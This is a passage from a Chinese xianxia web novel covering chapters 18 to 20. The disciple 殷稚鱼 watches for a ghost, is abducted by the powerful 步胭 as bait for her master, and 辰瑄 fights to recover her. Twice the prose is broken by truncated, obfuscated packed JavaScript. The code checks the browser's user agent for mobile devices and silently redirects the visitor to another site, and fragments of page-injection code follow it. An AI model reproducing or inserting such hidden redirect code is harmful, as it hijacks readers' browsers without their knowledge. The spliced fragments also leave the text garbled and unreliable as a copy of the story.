“还是我和舟逾换着来吧……”夏芃话刚说了一半就被殷稚鱼打断,女孩将夏芃往房间的方向推,晃了晃脑袋,信心满满地说,“交给我就行,师姐快去休息吧。” 她弯了下眼,“我领取这个任务本来就是想磨砺一下自己,师姐这次可要让着我。” 夏芃知道她是好意,故意这么说只是为了让老人心安理得地接受下来,与舟逾交换了一下眼神后,有了决定,“那就师妹来吧,明天我们来换,如果那鬼晚上没出现的话明天交给我和舟逾就行,稚鱼师妹白天好好休息。” “嗯嗯,”殷稚鱼朝她挥了挥手,“师姐放心交给我就行。” 夏芃和舟逾去休息了,殷稚鱼看着屋里的灯熄灭才离开,她跳上秋水剑,升空观察了一下位置,在任家中心一间屋子的屋顶坐下。 这件屋子是待客用的,现在更深夜静,阒静无人,整个任家都被笼罩在静谧沉默的夜色之中,殷稚鱼也不用担心吓到里面的人。 她盘腿在屋顶坐下,探出半个头,“小师叔,和我聊聊天呗。” 沉隽的青瓦上积了一层薄薄的夜雾,还未来得及凝成露水,被殷稚鱼掐诀弄走,她华艳的裙裾曳过屋檐,铺开山峦般起伏不定的轮廓,黑发恍若绸缎一般密密长长,白皙的指尖勾过耳垂,又松开,语调轻快,含着笑意。 见辰瑄不回答,殷稚鱼也不气馁,拖着调子,好似蜜糖一般浓稠又甜蜜地化开,“小师叔,理理我——” 她喉咙里透出的,刻意表演出来的哀怨还没有散尽,就察觉到身旁多了个人。 殷稚鱼咽下剩下的话,笑吟吟偏头,“小师叔,你来了。” 被殷稚鱼连番催促的辰瑄有些无奈,纤软的薄唇微抿,“殷师侄……” “我知道我不该找你聊天,”殷稚鱼貌似委屈地眨了眨眼,“可是我有点无聊。” 她小小声地说,好似自言自语,话低低地消散在夜风里,“我现在,可以说话的也只剩下小师叔了。” 辰瑄吞下想要说的话,“没事。” 少年略微侧了下脸,被官方认证的神颜在昏暗不清的视野中依旧美得无可挑剔,在半明半昧的光线中呈现出一种朦胧的静美来,殊艳有如皎皎辉月,“殷师侄想和我聊什么?” 他语气温和。 利用辰瑄的心软道德绑架的殷稚鱼毫无愧疚之情,也不懂得什么叫做见好就收,她思索了一下,“小师叔修为和我差不多的时候也接过类似的宗门任务吗?” 辰瑄如实回答:“没有。” 旁边的女孩子有些讶然地看过来,她往辰瑄的方向靠近了一点,带着水果清新的香气与甜美,有些困惑地问,“为什么?” 殷稚鱼不喜欢太过浓烈的熏香,卫王贵为一国之主,坐拥偌大的卫国,他膝下只有一女,甚得他的宠爱,所以无数的稀世珍宝流水般送进玉华公主的福泉宫,供她挑选,其中不乏名贵的香料,可是她都不喜欢,后来她宫中的女官别出心裁,不知道怎么调制的香料,是果香的清甜,并不腻人,她很中意,久而久之,身体上,长发间,甚至连常穿的胭脂色罗裙也染上同样的气息,细微而又悠长。 她托着腮,“师兄他们都说掌门与凌霄道尊很看重小师叔。” 宗门看重一个弟子,必然会倾整个宗门的力量来培养,没有开过锋的刀剑永远不够锋利,凌霄道尊不可能把辰瑄拘在宗门内,那无疑是自毁前途。 辰瑄不动声色地往旁边挪了挪,“可能是我那时候年纪尚小,师尊和师兄他们都不太放心。” “等等,”殷稚鱼发现不对劲,像是黑猫警长一样,敏锐地竖起两只耳朵,警觉地问,“小师叔,你是什么时候突破的辟府期?” 辰瑄回忆了一下,“八岁,还是九岁。” 殷稚鱼:“……” 怪不得凌霄道尊和清玄道人他们会不放心。 七八岁的小孩子,估计连千秋剑都扛不起来吧。 原来是她太菜,错估了大佬修为晋升的年纪。 殷稚鱼耷拉下肩膀,从内而外地散发出自闭的气息。 辰瑄只比她大了两岁,然而修为却已经到了凝丹期后期,距离突破也只要一步之遥,殷稚鱼估计自己可能还要四五年才能抵达凝丹,再然后,就没有然后了。 因为她身体里的婆诃般若可能早就撑爆了她的身体,还修什么。 “殷师侄?”看着不知道为什么emo的殷稚鱼,辰瑄犹豫了一下,唤出殷稚鱼的名字,“你发现了什么吗?” 他手无声无息地握上了神剑千秋,然而神识扫过的地方,依然是什么都没发现。 少年茫然地垂下眼睫。 “没有,”殷稚鱼捧着脸,笑眼弯弯,“就是在想,小师叔,好厉害。” 现在整个玄枵峰上除了清玄道人以外,修为最高的就是大师兄傅凛,然而他也才刚刚突破凝丹后期,距离融合还有一段相当遥远的距离。 殷稚鱼放松坐姿,一个姿势维持久了难免会腿酸,她把腿放下来,伸了个懒腰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272237|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然一直在闲聊,但是少女的灵气也悄无声息地铺开,只要任府一有风吹草动她就能感觉到。 殷稚鱼没办法修行,她的实力大概在辟府期,却并非是真实抵达了辟府期,确切地来说,除了依靠婆诃般若使用灵气外,她就是个普通人,也就是说,她其实是没办法散发神识的,这是缺少灵根的原因。 所以,她这具身体也会如凡人一般长大,修道者寿岁悠长,容颜永驻,她却不同,十五岁,正好是凡间女子及笄的年岁,短短几个月,和在卫国宫廷初见时,被老鼠精追得抱头鼠窜的少女公主相比,她似乎又长大了一点,五官更加长开了,脸颊上的婴儿肥也消退了些许,从稚嫩向成熟转变。 辰瑄微微晃神。 这段时间,他时不时被殷稚鱼这样夸赞,也培养出了些许适应性,因此也没有像前几次一样意外,或许是听惯了这样的赞美,他很认真地回答,“那不一定,九州五岛这样大,说不定什么时候就冒出来一个比我还要一个天才的人物。” 殷稚鱼:“……” 不好意思,那真没有。 毕竟是男主,原著认定的九州五岛第一天骄,所以空桑伊才会对他一见钟情,毕竟空桑神族的小公主,未来的空桑之主,要什么没有,身边围绕着一群神族天骄,见惯了天才,却还是在第一时间为辰瑄惊艳。 那时候的辰瑄还没有回归本体,在空桑伊眼里,辰瑄只是一介凡人,却拥有着比神族更加出众的天赋,简直是不可思议。 何况他还生得那样美貌,空桑伊眼一直,就栽了。 殷稚鱼幽幽地说,“小师叔,我可以说你在凡尔赛吗?” 她心里直冒酸泡,开始敲系统,她什么时候才可以像辰瑄一样,装一把大的。 这样风轻云淡的装逼才是真的境界。 说不定系统复活她,给了说好的灵根之后可以做到了。 系统日常装死,安静得就像是不存在一样。 辰瑄没听懂这句话,唔了一声,神色茫然。 不过看殷稚鱼开始逡巡任府,兢兢业业地完成自己的任务时,他只能将心里的疑惑按捺下去,没有问她。 即便无法发散神识,但是经由婆诃般若吞噬又被她使用的灵气同样可以窥探四周,充分完成了自己的工作,殷稚鱼沉下心,将注意力全部放在感应四周上。 可惜的是,不知道是不是鬼魂感应到了任家出现了几位修道者,一直都没有出现。 整个夜晚风平浪静地过去了。 殷稚鱼守到最后有些熬不住了,一直揉眼睛打哈欠,她的作息一直都很准时,毕竟古代没有手机,也没有游戏,即便贵为公主不用为吃穿用度发愁,也不能凭空给她变出一台电子设施来,现在一晚上没睡,她的感觉就是很困,困得整个人都萎靡不振,抱着膝盖,头一点一点的。 辰瑄眼睁睁地看着,少女的头像是舂米一样一啄一啄的,然后撞在膝盖上又猛然惊醒,睡眼惺忪地强撑起精神,继续守夜。 少年看着微微有些不忍心,可惜他按照规矩没办法插手,只能别过眼,不再看。 在殷稚鱼重复着用脑袋敲木鱼动作一段时间后,天际泛起鱼肚白,任府迎来了天亮。 “稚鱼师妹。”屋檐下传来了夏芃的声音,休息了一晚上,她现在精力充沛,一到时间就赶紧来找自己流浪在外的小师妹。 循着殷稚鱼的气息,她准确地找到了地方,只是让夏芃有些愕然的是,屋檐上不仅有殷稚鱼,还有看似温和实则清冷疏离的小师叔。 两人一起坐在屋檐上,虽然没有靠在一起,但是距离也很近。 少年似乎察觉到她的视线,轻飘飘地看过来,夏芃感觉到莫大的压力,连忙移开视线。 她忍不住嘀咕,虽然知道小师叔性格好,乐善好施,但是什么时候对别的峰的师妹也这么热心肠了。 “师姐来了。” 殷稚鱼揉了下眼睛,直起有些僵硬的腰身,站起来,看她困得厉害,辰瑄怕她踩空掉下去,在殷稚鱼站起来的时候扶了一把她。 将一切看得清清楚楚的夏芃眼睛睁得更大了几分。 少女毫无所觉,辰瑄只虚虚一扶,看殷稚鱼步伐稳妥,并没有要摔倒的趋势就收回手,安静地站在身后,看着殷稚鱼跳下屋檐。 这点高度,不需要秋水,她也能稳稳当当地落地。 “稚鱼师妹,”夏芃担心地上前,看女孩走得歪歪扭扭,借出手臂给她依靠,心里更加过意不去,“很困吗?昨晚辛苦你了。” “没事,”殷稚鱼靠着她的肩膀,半眯着眼,咕哝着回答,声音越来越低,“只是我没抓到那只鬼,只能麻烦师姐了。” “交给我就行。”夏芃拍着胸脯打包票,左看右看都不放心,干脆将人送回院子里,看着殷稚鱼躺在床上才放心地离开。 殷稚鱼几乎在挨着床的下一瞬就进入了梦境,沉沉地睡了一个好觉。 似乎做了什么梦,只是光怪陆离的她也没看清,醒来时什么都不记得。 殷稚鱼睡醒时,疲惫尽消,神清气爽,她抬起头,灿烂的日光透过窗户上糊着的桃花纸斜入,已经是下午了,接近傍晚。 她几乎睡过了整个白天。 想到这里,殷稚鱼精神一振,赶紧爬起来,收拾好自己后往外跑。 其他人都不在院子里,殷稚鱼随便拦了个丫鬟问情况,“请问,任家请来驱鬼的乾虚派弟子在哪里?” “在前厅,据说那几位仙师已经捉到了那只鬼。” 18. 被掳 殷稚鱼愣了下,谢过丫鬟之后,她没有停留,目的明确地往前厅走去。 一路上遇到几个下人,虽然没有交谈,但殷稚鱼也可以看出他们脸上的如释重负,也就是说,在任家捣乱的那只鬼是真的多被抓住了。 快得有些超出殷稚鱼的想象,根据自己看过的话本剧情,接下来应该会发生了一连串的事故,然后他们根据拼凑出的零星线索去捉拿罪魁祸首,可能以为实力不强的鬼魂还会摇身一变,成为他们打不过的大boss。 然而事情无情地给了她一锤子,告诉殷稚鱼她没有女主待遇,炮灰就别幻想主角剧情了,还是老老实实地完成任务吧。 不过殷稚鱼在听到这个消息的时候,除了诧异以外,更多的是高兴,鬼魂被抓住,意味着他们领取的宗门任务圆满解决,她接下来就可以欢欢喜喜地准备回宗,领取自己的酬劳了。 少女步伐不慢,很快就走到了前厅。 “稚鱼师妹。”夏芃眼尖地看到了门口张望的殷稚鱼,向她挥了挥手,示意殷稚鱼走进来。 “这就是在任家捣乱的鬼吗?”殷稚鱼走进前厅,注意力全放在地上那只被捆得和死鱼一样动弹不得生无可恋的鬼魂身上,她额间贴着一道明黄色符箓,朱砂鲜艳,束缚住了她的行动。 感应了一下她周身飘荡的阵阵阴风,殷稚鱼估计了一下她的实力,换算成修道者的话,可能也就是引气初期的修为,并不强大,所以夏芃和舟逾联手,才能那么轻松地抓住她。 “对,”夏芃颔首,解释道,“这鬼的坟茔原本就在任家后园里,原本她一直在地下沉睡,结果最近被挖出来了,惊醒了她,她的确没有恶意,现在只需要重新安葬她的尸骨,就能把她送走。” 殷稚鱼恍然。 生死轮回,是九州五岛所流行的永恒不变的规则定律,除非修为达到生死,才能超脱轮回,否则就算是资质不凡自恃血脉高贵的神族,也会在千万年后化为一具枯骨,重入轮回,洗清因果,消除记忆,投胎成另一个人。 而这鬼不知道为什么没有投胎转世,而是沉睡于坟茔之中,本来与任家互不打扰,结果却被吵醒,只能说任家倒霉,谁能想到后园里会存在一具不知道埋葬了多少年的尸骸呢。 “安葬完她的尸骨后,我们就能离开了。”任务顺利完成,夏芃显然心情不错,笑盈盈地道。 而任老爷此刻也拱手,真心实意地与他们道谢,“任家的事情,麻烦各位仙师出手相助了。” 夏芃:“无事,职责所在而已。” 就在这时,几个小厮小心翼翼地抱着一堆东西走进来,谨慎地将其放在前厅的地上。 那是鬼魂的尸骸,本来被遗忘在后园的某个地方,现在被重新收集,擦干净泥土,用干净的棉布包裹,隐约可以见到森白的骨架。 和他们一起走进来的还有舟逾,青年微一点头,唤道,“师妹醒了。” 殷稚鱼弯起眼,她没在前厅看到辰瑄,可能是躲到哪里去了,毕竟按照规矩,除非他们遇到危险,否则辰瑄不能插手。 所以没在前厅也在情理之中。 “劳烦师兄和师姐了,”殷稚鱼挠了挠下巴,有些不好意思,“我都睡过去了,没帮上一点忙。” 夏芃摇摇头,不认同她的说法,“稚鱼师妹无需这么说,昨晚还是你体贴我们,主动揽了守夜的任务。” 殷稚鱼笑了笑,没有就这个话题多聊,好奇地问,“接下来要干什么?” 夏芃眯了眯眼,交代,“要去准备一具新棺材,并且购买香烛纸钱等物品,重新安葬她的尸骨。” 任老爷赶紧道,“棺材就交给我吧,我现在就派人去城内订购。” 殷稚鱼:“香烛和纸钱就交给我去买吧,我顺便去城内逛逛。” 夏芃没有拒绝,点了下头,“我和稚鱼师妹一起去吧。” “好啊。”殷稚鱼舒展了一下睡得有些僵硬的身体,摸了摸腰间的秋水,笑眯眯地应下。 这次任务没有她出手的机会,让殷稚鱼觉得可惜的时候,又松了一口气。 棺材铺里有打造好的棺材,可以直接购买使用,任老爷当然不可能亲自去买,而是将这个任务交给下人,而殷稚鱼和夏芃一起出门,去购买香烛纸钱。 这些都是祭奠之物,她们当然不可能随身携带,因为用不上。 现在是傍晚,落日垂挂天际,渲染出大片绚烂的金色,彩云斑斓。 曲城靠近乾虚派,城中也有许多的修道者来往,但更多的是居住在城中的凡人,酒楼里传来的笑谈声,街道中杂乱的脚步声,交织出浓浓的尘世烟火气。 殷稚鱼新奇地左右张望。 她在卫国王宫长大,自打殷稚竹出事后,卫王不愿意失去最后一个女儿,所以将殷稚鱼保护得严严实实的,她鲜少出门,而且凡间规则众多,对女子的约束也多,浑然不像九州五岛,因为男女都能修行,所以这方面相当松散。 之前赶路仓促,在星城又因为受伤没怎么出门,所以直到现在她才有机会好好领悟九州五岛的风气。 夏芃在她身旁,她早就打听清楚了该去哪里购买香烛纸钱,七拐八绕,一刻钟后,顺利地走到目的地。 “师妹,到了。” 夏芃向店主说清她们需要的东西,店主进去拿取的时候,女孩的视线一晃,落在不远处的点心铺子上,顿时有些挪不开视线了。 曲城的点心她还没有尝过呢。 点心制作本身就很诱人,刚好有一炉点心新鲜出炉,散发出温暖的甜香来,勾起殷稚鱼的馋虫,她碰了碰夏芃的衣角,“师姐,我去那边买点东西。” “去吧。”夏芃顺着殷稚鱼的视线看过,看到点心铺子后了然,点心铺子距离香烛店不远,而且在曲城也出不了事。 因此她很放心地转过身,继续等店主打包好东西。 殷稚鱼向点心铺子走去,现在店里的顾客并不多,她挑了几样点心,刚想要喊小二打包的时候,忽然发现身边多了一个人。 对方悄无声息地出现,殷稚鱼甚至没有发现她是什么时候走到自己旁边的。 这就说明,来人的实力必然在她之上,而且殷稚鱼能够感觉得到,对方似乎比辰瑄还要强,深不可测,让她有一种面对清玄道人的感觉。 清玄道人是乾虚派的长老,修为高深,实力强大,和他一样强大的修道者并不多,而这样的人,为什么会出现在一家小小的点心铺子里。 殷稚鱼心微沉,不动声色地去摸秋水剑。 这人如果只是路过的话最好。 如果不是的话……那么殷稚鱼现在就可以认 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“哦,那就是是了,”她笑了下,眸里却没什么笑意,反而透出几分冰冷来,“这个说瞎话不眨眼的无耻模样,和清玄倒是一模一样。” 殷稚鱼:“……” 确定就确定,还人身攻击。 这边的动静不小,然而点心铺子的店主和小二全程就像是没看到一样,热情地招待进门的客人。 殷稚鱼的心越来越沉,如果面前的人对她有恶意的话,那么她根本逃不过,即便她动用婆诃般若的全部灵气也是一样。 毕竟婆诃般若能够短暂地提升她的实力,却不能直接帮她开挂。 “前辈,”殷稚鱼幽幽地说,“我觉得,你和我师尊之间的恩怨,是不是不用牵扯到弟子?” 步胭赞同点头,“常理来说确实如此。” 她散漫勾了勾唇角,“不过他是特例。” 殷稚鱼头上冒出一个问号。 步胭:“因为我和他之间的仇恨比较大,所以委屈你一下了。” 殷稚鱼:?! 她还没来得及询问,就被提着后领拎起来,周遭的场景急速变换,殷稚鱼感觉自己好像在做过山车,步胭用灵气护住她,避免她在过程中受伤。 同时,不远处的巷道角落,霍然走出一道黑发白衫的修长身影。 他察觉到殷稚鱼的气息消失,脸色极为难看。 殷稚鱼之前在星城出过事,所以她和夏芃出门时辰瑄并不放心,默默跟在后面,原本以为只是出来买点东西很安全,没想到她会在点心铺子里光明正大地被带走。 “辰瑄师叔,”辰瑄身影一闪,就出现在了夏芃面前,买完东西的夏芃发现自己失去了殷稚鱼的踪迹,正在焦急找人,看到辰瑄出现时,她连忙迎了上去,“你看见稚鱼师妹了吗?” 少年沉声,“殷师侄被别人带走了,我现在追上去,你先回任家,安心等待。” “好,”殷稚鱼实力比她强,她能够不发出一点动静地被掳走,说明动手之人实力远比夏芃要强,她清楚自己现在不能轻举妄动,免得帮倒忙,只能深吸一口气,“辰瑄师叔,稚鱼师妹就麻烦你了。” 辰瑄微微颔首,淡声说,“我会将她安全带回来的。” 19. 故人 “呕——” 殷稚鱼捂住心口,干呕不止。 她之前就曾经设想过这个问题,大部分剑修都御剑出行,那么他们其中,就不会有人晕车吗? 现在现实告诉她,会有。 她之前御剑,速度全在自己控制之中,因此感觉还好,上天的兴奋刺激感比晕眩更占上风,现在由步胭带着体验了一把急速飞行,她整个人就是很晕,晕的快要吐了。 不过她之前没吃什么,因此也只是干呕,没吐出什么来。 殷稚鱼:很好,修真版的过山车,也是让她坐上了。 “太弱了。”步胭抱臂站在一旁,嫌弃道,“我在你这个年纪都不会这样,现在的修道者,素质不太行。” 殷稚鱼抬起头,虚弱地道,“前辈,我才刚入道几个月。” 步胭改正了下自己的说辞,“那抱歉,我没有考虑到你的承受能力。” 殷稚鱼晃了晃脑袋,企图把自己晃得清醒一点,“没事,不过你要是能放我离开就更好了。” 步胭挑眉,九州五岛美人众多,然而她在其中依旧是一等一的美貌,瑞凤眼,唇角常噙着笑,然而并不让人觉得好亲近,仿若黄泉业火倾泻而出,将九幽滔天的罪业一并燃烧殆尽,“这可不行。” 她懒洋洋地伸手,“东西给我。” 殷稚鱼愣了愣,晕车……阿不,晕剑的后遗症还没过,她现在反应不如平常那么敏捷,呆呆地问了句,“什么?” 步胭偏了下头,“清玄道人应该给你留了传音玉符吧。” 她竖起两个指头,“你现在有两个选择,一,是乖乖地将传音玉符交给我,二,我从你那里,将传音玉符抢过来。” “……” 殷稚鱼麻利地上交了清玄道人送给她的传音玉符。 传音玉符是一次性的传讯法器,本意是留给她保命的,毕竟她这唐僧肉的体质,谁体验谁知道,步步是坑,不多注意一点可能很快就打出GG结局。 步胭接过传音玉符,手指略一用力,输入灵气,将玉符捏碎。 空气中燃起碧色火焰,很快,清玄道人有些诧异的嗓音响起,“稚鱼,发生了什么事吗?” “好久不见,”步胭微微一笑,懒声,“清玄。” “步胭,”玉符那头的清玄道人语气立刻严肃了起来,“稚鱼的玉符为什么会在你那里?” “因为她在我手上啊,”步胭说,“好歹是旧相识,我给你一个机会。” “一个时辰内,我要看到你,如果你不来的话,那我也不知道我会对你这位小弟子干什么。” 步胭指尖随意地绕过脸颊旁的发丝,殷稚鱼注意到,她的腰间系着一根有些旧的同心结,红绳微微毛糙,仿佛被摩挲过许久,与她整个人的气质都格格不入。 她微微沉吟。 步胭将地址给了出去,她清楚的知道,殷稚鱼一行人从乾虚派到曲城花了半天的时间,然而对于他们这样修为的修道者而言,只需要短短半个时辰的时间甚至更短,就能赶到。 她们所在的地方已经离开了曲城,在郊外,单独的一座宅院,已经许久没有人住过的样子,荒草丛生,从前葳蕤繁盛的草木尽数枯萎,就连回廊与栏杆上都落着薄薄的一层灰。 这套院子看起来相当宽敞精致,只是因为空置太久而显得荒凉,很适合当凡间那些志怪话本的剧情发生地,常有书生路过荒废宅院,偶遇精怪或者狐妖化作的美人,从而延伸出一段曲折精彩的故事。 然而这里没有书生,只有步胭和殷稚鱼在,她结束了和清玄道人的交流,碧色火焰熄灭,女子艳色的裙裾沙沙拖过地面,没有沾染上一点灰尘,她淡淡地说,“跟上。” 打不过对方的殷稚鱼选择战略性认怂,乖乖跟上步胭。 她推开门,屋子里竟然是干净的,虽然布置得简陋,但比起外面,要整洁得多。 “前辈。”殷稚鱼拖了张椅子过来坐下,红裙的美人靠在榻上,身体微微后仰,闭目休憩,黄昏的光透着半开的窗户漏入,落在她的脸上,有种难以言说的视觉观感,像是一段斑驳古旧的画卷。 她仿佛沉浸在一段难以忘怀的过往里,听到殷稚鱼的话时,眼皮慵懒微掀,示意她说话。 或许是步胭没有表现出强烈的攻击性,看起来很好说话的模样,殷稚鱼大着胆子问,“我师尊,是欠了你的情债吗?” 步胭手掌撑着美人榻,否认了她的猜测。 “不是。” 她似笑非笑地扬唇,“我和其他人,确实有一段耿耿于怀的过往,但那人不是清玄。” 她又低头,去看腰间的同心结,指尖握着陈旧的同心结,随意地把玩,殷稚鱼很难形容她的目光,那并非怀念,也并非憎恨,而是淡淡的漠然与不在乎。 少女耳垂上的玛瑙耳饰微微地晃,圆眸显露出几分探究之色,“那为什么,前辈执着于我的师尊?” “因为那和他有关。”步胭侧脸,去看殷稚鱼。 十五岁的女孩初初长成,还有些稚气青涩,但轮廓已经向成熟转变了,小山黛眉,睫毛浓密,瞳仁大而饱满,似浸润在水中的黑珍珠。 它的光芒并不明亮,却又柔和持久,在她身上,天真与执拗糅合得恰到好处,整个人像是荒壁间开出洁白而又柔韧的花朵,温柔地,坚韧地抽出枝芽,让人开始期待她未来的光彩。 真怀念啊。 步胭将同心结揉成一团,又慢慢松开,隐隐褪色的红绳落在她的掌心,逐渐恢复成原本的模样。 “我只是想要,寻找一个答案。” 她很轻地笑了下,笑意没什么情绪,只是浅浅地勾起唇角,“可是他们都瞒着我,想要我一无所知,可我不喜欢被蒙着眼睛。” “我宁可清醒地痛苦着。” 殷稚鱼脑海中灵光一闪,抿了抿唇,还是没说话。 她觉得,之前清玄道人在送她回乾虚派的中途忽然离开,可能和这位前辈有关。 步胭没有限制她的行动,她看起来没什么架子,然而殷稚鱼怕说错话惹恼了她,现在清玄道人不在,步胭如果发起火来根本没人救她,殷稚鱼觉得自己还是要克制一下自己。步胭没有封印她体内的灵气,芥子袋什么的都可以使用,她干脆从芥子袋里取出一个油纸包,打开,露出里面热腾腾的点心来。 见步胭望过来,殷稚鱼咽下点心,捧着油纸包递过去,客气地问了句,“前辈要尝尝吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298759|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 步胭顿了下,正当殷稚鱼以为她会拒绝的时候,她拈起点心,咬了一小口。 芥子袋里的时间并不流动,所以放进去是热腾腾的点心,拿出来还是热的,新鲜的枣泥糕,她之前在去乾虚派的路上囤的,味道还可以,枣泥香甜,尝起来口感细腻清甜,并不腻人。 “味道一般。”步胭挑剔点评,但还是将那块点心吃完了。 殷稚鱼眨了眨眼,步胭看着就不像是普通出身,通身气质非比寻常,和姜雲有点类似,应该也是出身世族,难伺候一点也说得过去。 她继续吃点心。 步胭抽了抽唇角,虽然她不屑于对一个小姑娘下手,之前说的也只是骗清玄道人的,但是能表现得这么淡定,殷稚鱼的心态,已经稳得让她都有些讶然了。 她漫不经心地开口,“对了,不会白白利用你,你体内有婆诃般若是吧,事情结束后,我会送你一件赔礼。” “咳咳。” 殷稚鱼被枣泥糕呛到了,疯狂咳嗽。 她明明佩戴有清玄道人赠送的符箓,用来隐藏婆诃般若的存在,为什么这些大佬们这么牛逼,蜘蛛精就算了,毕竟妖物的嗅觉比人类灵敏,为什么步胭也会知道,而且还能这么清楚准确地叫破婆诃般若的名字。 她缓了一会才恢复正常,喉咙还以为刚才的咳嗽有些火辣辣的,“前辈是怎么知道的?” “因为婆诃般若,最开始是我感兴趣,主动去查阅资料,并分享给清玄的,”步胭笑眯眯地说,“它是神物,你身上的符箓等级太低了,隐匿的效果并不好,所以修为高的人都隐隐有所感应。” “能够遮蔽神物气息的存在,也不可能是寻常的宝物,刚好,我手上有一件,之后会送给你。” 见她没有夺宝的恶意,殷稚鱼微微松了一口气,“多谢前辈。” 步胭轻笑了下,忽然神色一动,女子站起来,“我出去一趟。” 她慢悠悠地补充,“这座宅子里设了禁制,所以你最好别乱跑,万一触发了禁制,我可救不了你。” 殷稚鱼正襟危坐,“我知道了,前辈放心,我绝对不会乱走的。” 她心里趁着步胭离开偷偷逃跑的想法落空了。 步胭也没说信不信,身影一闪就离开了屋子。 黄昏的光温柔覆盖下来,低低地压过草木,溪流水面闪烁着微光,倒影出一片琥珀般剔透浓稠的色彩。 一把朱红的长剑凭空刺出,撞上另一把古朴又修长的剑,发出兵戈刀刃相接的一声清脆而又冰冷的声响。 步胭招了招手,本命剑又回到她的手里,她认出那把剑,名动九州五岛的神剑千秋,它的主人和这把剑一样出名,“辰瑄?” 她抱臂,姿态松散又随意,“乾虚派的人,找我干什么?” 容姿绝美明丽的少年言辞温和,他容色极盛,是见过无数美人的步胭都为之感到惊叹的地步,皎皎如清月,“前辈带走了我宗的弟子,身为乾虚派的同门,自然不能任凭她被带走,只能请求前辈放人了。” 他握着长剑,嗓音温软干净,态度却没有半分退让,长睫微微一抬,露出浅琥珀色的,美丽而又清透的瞳眸,如同一场神话般,斑斓而又盛大。 20. 过往 步胭声音里流露出淡淡的不耐烦,波澜不惊地陈述,“你打不过我,现在走,我就不追究。” 步胭大概评估出辰瑄的实力,他的天赋不错,在这个年纪基本算是顶尖了,就算是她那个年代里也挑不出比辰瑄更加优秀的天骄,然而这并没有用,对上现在的辰瑄的并非十几岁的步胭,而是活过了许多年岁,修为至臻,越发高深莫测的步胭。 步胭大发慈悲,打算放辰瑄一马也并非惜才,而是她和乾虚派颇有渊源,尤其是清玄道人,两人曾是关系不错的旧相识,所以如非必要的话,她并不打算对辰瑄动手。 辰瑄紧了紧握着千秋的手指,并未因为两人之间悬殊的修为差距而生出退缩之心,“前辈抱歉。” “晚辈这次前来,一定要带着我宗的同门一起离开。” 步胭嗤了声,手一招,剑就已经握在手里,“那就试试看,你今天可带不走任何人。” 她的耐心消耗殆尽。 朱红与浅白的长剑碰撞在一次,每一次都是比上一次更加激烈的碰撞,然而辰瑄还是吃亏在了修为上了,可以看出,他应对得越发吃力,额间在巨大压力下滴下细微的汗珠,将卷曲的长睫打湿。 见少年没在自己的手下崩溃,步胭略有些意外,她没留手,辰瑄能够撑到现在还没有落败就足以说明他的资质了,就算是在她那个年代,这样的天骄都是绝无仅有的。 可惜,与辰瑄交手的人并非十几岁的步胭,而是活过了许多年岁,修为至臻,越发高深莫测的步胭。 她漠然出手,剑尖带起锋利的戾风,以极快的速度掠过辰瑄的脸,少年只来得及略微偏过脸,原本深入血肉的伤口此时只是擦过些许表皮,沁出淡淡的血丝,刺痛之意明显。 他受了伤,体内灵气也即将耗尽。 毕竟再怎么竭尽全力,两人之间的实力也隔着鸿沟般的差距。 辰瑄恍然意识到了什么。 步胭越来越没耐心,正准备结束这一切,忽然听到辰瑄问,“是步胭前辈吗?” 步胭动作一顿,饶有兴致地问,“你认识我?” “对,”辰瑄轻声,“前辈很出名。” 步胭出身大族,母亲是步家家主,风姿无双,引得无数英豪倾心,她的身世却颇为曲折,步胭并非父母正经结合剩下的子嗣,有修道者爱慕步家家主,可惜爱而不得,连一个青眼都没得到,爱极生恨,他本就是扭曲的性子,费尽心思拿到了步家家主的一滴精血,结合自己的心头血造出一个孩子。 那就是步胭。 她没有在步家长大,血缘上的父亲偏执疯癫,而她的母亲,直到她五岁时心血来潮请人卜了一卦后才知晓自己多了一个女儿,步胭的父亲被她亲手斩杀,而步胭是她的血脉,所以被接入步家。 而她最出名的并非出生,而是许多年前,她杀上上清宗,遍体鳞伤却撑着最后一口气,质问上清宗道子陆云珩。 上清宗与凌霄宗,乾虚派共称三宗,是无数修道者向往的修行圣地,而其中,上清宗以道出名,它脱胎于上古神族学宫,后来神族避世,渐渐地不再在世间露面,上清宗越发没落,从天下第一宗的位置上跌落,广受九州五岛弟子,它传承了无数上古道统,培养出许多数不清的天骄。 而道子,则是上清宗最受重视的弟子,他们主修太上忘情道,注定不沾情爱,冰心绝情。 因此这件事一出,顿时在九州五岛闹得沸沸扬扬,陆云珩身为那一代上清宗最出色的弟子,落在他身上的目光难以数清,他的一举一动都极为引人瞩目。 发生了什么外宗人并不知晓,只知道没过多久上清宗就出来辟谣,宣称陆云珩与步胭之间并无瓜葛,步胭自上清宗高调之后就彻底沉寂下去,并未对上清宗的言论发表任何意见。 这些都是百年前的事情,上一代的上清宗道子陆云珩早已身陨,九州五岛地形广袤,每天都有无数新事发生,于是陆云珩和步胭的过往也随着光阴的流逝而被埋葬,渐渐的无人知晓。 辰瑄年纪轻,按理来说不该知道百年前的八卦,然而陆云珩是清玄道人的好友,两人私交甚密,清玄道人是辰瑄师兄,他为此听了一耳朵,只可惜清玄道人对于这件事讳莫如深,所以他知晓的内情也寥寥。 步胭也没问自己为什么出名,只是轻轻笑了笑,“没想到这么多年过去,竟然还有人认识我。” 